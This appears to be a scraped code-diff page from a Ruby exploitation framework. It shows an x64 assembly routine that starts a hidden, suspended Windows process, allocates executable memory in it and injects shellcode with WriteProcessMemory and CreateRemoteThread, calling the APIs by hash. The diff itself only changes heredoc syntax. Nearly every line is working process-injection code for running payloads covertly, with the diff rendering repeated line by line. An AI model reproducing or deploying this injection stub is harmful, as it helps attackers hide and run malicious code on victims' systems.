jmp next_mod ; Process this module
|
jmp next_mod ; Process this module
|
||||||
EOS
|
EOS
|
||||||
block_api_rbp_asm = <<EOS
|
block_api_rbp_asm = <<-EOS
|
||||||
pop rbp ; Pop off the address of 'api_call' for calling later.
|
pop rbp ; Pop off the address of 'api_call' for calling later.
|
||||||
EOS
|
EOS
|
||||||
block_close_to_payload = ''
|
block_close_to_payload = ''
|
||||||
|
|
||||||
# Check if we can find block_api in the payload
|
# Check if we can find block_api in the payload
|
||||||
|
@ -378,112 +383,112 @@ EOS
|
||||||
|
|
||||||
# Prepare instructions to calculate address
|
# Prepare instructions to calculate address
|
||||||
rbp_offset = "0x%04x" % (block_api_index + 5)
|
rbp_offset = "0x%04x" % (block_api_index + 5)
|
||||||
block_api_rbp_asm = <<EOS
|
block_api_rbp_asm = <<-EOS
|
||||||
jmp close_to_payload
|
jmp close_to_payload
|
||||||
return_from_close_to_payload:
|
return_from_close_to_payload:
|
||||||
pop rbp
|
pop rbp
|
||||||
add rbp, #{rbp_offset}
|
add rbp, #{rbp_offset}
|
||||||
EOS
|
EOS
|
||||||
# Clear now-unneeded instructions
|
# Clear now-unneeded instructions
|
||||||
block_api_asm = ''
|
block_api_asm = ''
|
||||||
block_api_start = ''
|
block_api_start = ''
|
||||||
block_close_to_payload = <<EOS
|
block_close_to_payload = <<-EOS
|
||||||
close_to_payload:
|
close_to_payload:
|
||||||
call return_from_close_to_payload
|
call return_from_close_to_payload
|
||||||
EOS
|
EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
#put all pieces together
|
#put all pieces together
|
||||||
migrate_asm = <<EOS
|
migrate_asm = <<-EOS
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
#{block_api_start}
|
#{block_api_start}
|
||||||
#{block_api_asm}
|
#{block_api_asm}
|
||||||
start:
|
start:
|
||||||
#{block_api_rbp_asm}
|
#{block_api_rbp_asm}
|
||||||
; get our own startupinfo at esp+0x60
|
; get our own startupinfo at esp+0x60
|
||||||
add rsp,-400 ; adjust the stack to avoid corruption
|
add rsp,-400 ; adjust the stack to avoid corruption
|
||||||
lea rcx,[rsp+0x30]
|
lea rcx,[rsp+0x30]
|
||||||
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
||||||
call rbp ; GetStartupInfoA( &si );
|
call rbp ; GetStartupInfoA( &si );
|
||||||
|
|
||||||
jmp getcommand
|
jmp getcommand
|
||||||
gotcommand:
|
gotcommand:
|
||||||
pop rsi ; rsi = address of process name (command line)
|
pop rsi ; rsi = address of process name (command line)
|
||||||
|
|
||||||
; create the process
|
; create the process
|
||||||
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
|
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
|
||||||
push rdi ; lpProcessInformation : write processinfo here
|
push rdi ; lpProcessInformation : write processinfo here
|
||||||
lea rcx,[rsp+0x58]
|
lea rcx,[rsp+0x58]
|
||||||
push rcx ; lpStartupInfo : current info (read)
|
push rcx ; lpStartupInfo : current info (read)
|
||||||
xor rcx,rcx
|
xor rcx,rcx
|
||||||
push rcx ; lpCurrentDirectory
|
push rcx ; lpCurrentDirectory
|
||||||
push rcx ; lpEnvironment
|
push rcx ; lpEnvironment
|
||||||
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
||||||
push rcx ; bInHeritHandles
|
push rcx ; bInHeritHandles
|
||||||
mov r9, rcx ; lpThreadAttributes
|
mov r9, rcx ; lpThreadAttributes
|
||||||
mov r8, rcx ; lpProcessAttributes
|
mov r8, rcx ; lpProcessAttributes
|
||||||
mov rdx, rsi ; lpCommandLine
|
mov rdx, rsi ; lpCommandLine
|
||||||
; rcx is already zero ; lpApplicationName
|
; rcx is already zero ; lpApplicationName
|
||||||
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
||||||
call rbp ; CreateProcessA( &si );
|
call rbp ; CreateProcessA( &si );
|
||||||
|
|
||||||
; if we didn't get a new process, use this one
|
; if we didn't get a new process, use this one
|
||||||
test rax,rax
|
test rax,rax
|
||||||
jnz goodProcess ; Skip this next block if we got a new process
|
jnz goodProcess ; Skip this next block if we got a new process
|
||||||
dec rax
|
dec rax
|
||||||
mov [rdi], rax ; handle = NtCurrentProcess()
|
mov [rdi], rax ; handle = NtCurrentProcess()
|
||||||
|
|
||||||
goodProcess:
|
goodProcess:
|
||||||
; allocate memory in the process (VirtualAllocEx())
|
; allocate memory in the process (VirtualAllocEx())
|
||||||
; get handle
|
; get handle
|
||||||
push 0x40 ; RWX
|
push 0x40 ; RWX
|
||||||
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
||||||
mov r8,r9 ; size
|
mov r8,r9 ; size
|
||||||
xor rdx,rdx ; address
|
xor rdx,rdx ; address
|
||||||
mov rcx, [rdi] ; handle
|
mov rcx, [rdi] ; handle
|
||||||
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||||
call rbp ; VirtualAllocEx( ...);
|
call rbp ; VirtualAllocEx( ...);
|
||||||
|
|
||||||
; eax now contains the destination - save in ebx
|
; eax now contains the destination - save in ebx
|
||||||
mov rbx, rax ; lpBaseAddress
|
mov rbx, rax ; lpBaseAddress
|
||||||
; WriteProcessMemory()
|
; WriteProcessMemory()
|
||||||
push rsp ; lpNumberOfBytesWritten
|
push rsp ; lpNumberOfBytesWritten
|
||||||
mov r9, #{payloadsize} ; nSize
|
mov r9, #{payloadsize} ; nSize
|
||||||
; pick up pointer to shellcode & keep it on stack
|
; pick up pointer to shellcode & keep it on stack
|
||||||
jmp begin_of_payload
|
jmp begin_of_payload
|
||||||
begin_of_payload_return:
|
begin_of_payload_return:
|
||||||
pop r8 ; lpBuffer
|
pop r8 ; lpBuffer
|
||||||
mov rdx, rax ; lpBaseAddress
|
mov rdx, rax ; lpBaseAddress
|
||||||
mov rcx, [rdi] ; hProcess
|
mov rcx, [rdi] ; hProcess
|
||||||
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
||||||
call rbp ; WriteProcessMemory( ...);
|
call rbp ; WriteProcessMemory( ...);
|
||||||
|
|
||||||
; run the code (CreateRemoteThread())
|
; run the code (CreateRemoteThread())
|
||||||
xor rcx, rcx ; rdx = 0
|
xor rcx, rcx ; rdx = 0
|
||||||
push rcx ; lpthreadID
|
push rcx ; lpthreadID
|
||||||
push rcx ; run immediately
|
push rcx ; run immediately
|
||||||
push rcx ; no parameter
|
push rcx ; no parameter
|
||||||
mov r9,rbx ; shellcode
|
mov r9,rbx ; shellcode
|
||||||
mov r8, rcx ; stacksize
|
mov r8, rcx ; stacksize
|
||||||
;rdx already equals 0 ; lpThreadAttributes
|
;rdx already equals 0 ; lpThreadAttributes
|
||||||
mov rcx, [rdi]
|
mov rcx, [rdi]
|
||||||
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
||||||
call rbp ; CreateRemoteThread( ...);
|
call rbp ; CreateRemoteThread( ...);
|
||||||
|
|
||||||
;sleep
|
;sleep
|
||||||
xor rcx,rcx
|
xor rcx,rcx
|
||||||
dec rcx ; rcx = -1
|
dec rcx ; rcx = -1
|
||||||
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||||
call rbp ; Sleep( ... );
|
call rbp ; Sleep( ... );
|
||||||
|
|
||||||
getcommand:
|
getcommand:
|
||||||
call gotcommand
|
call gotcommand
|
||||||
db "#{procname}"
|
db "#{procname}"
|
||||||
db 0x00
|
db 0x00
|
||||||
#{block_close_to_payload}
|
#{block_close_to_payload}
|
||||||
begin_of_payload:
|
begin_of_payload:
|
||||||
call begin_of_payload_return
|
call begin_of_payload_return
|
||||||
EOS
|
EOS
|
||||||
migrate_asm
|
migrate_asm
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue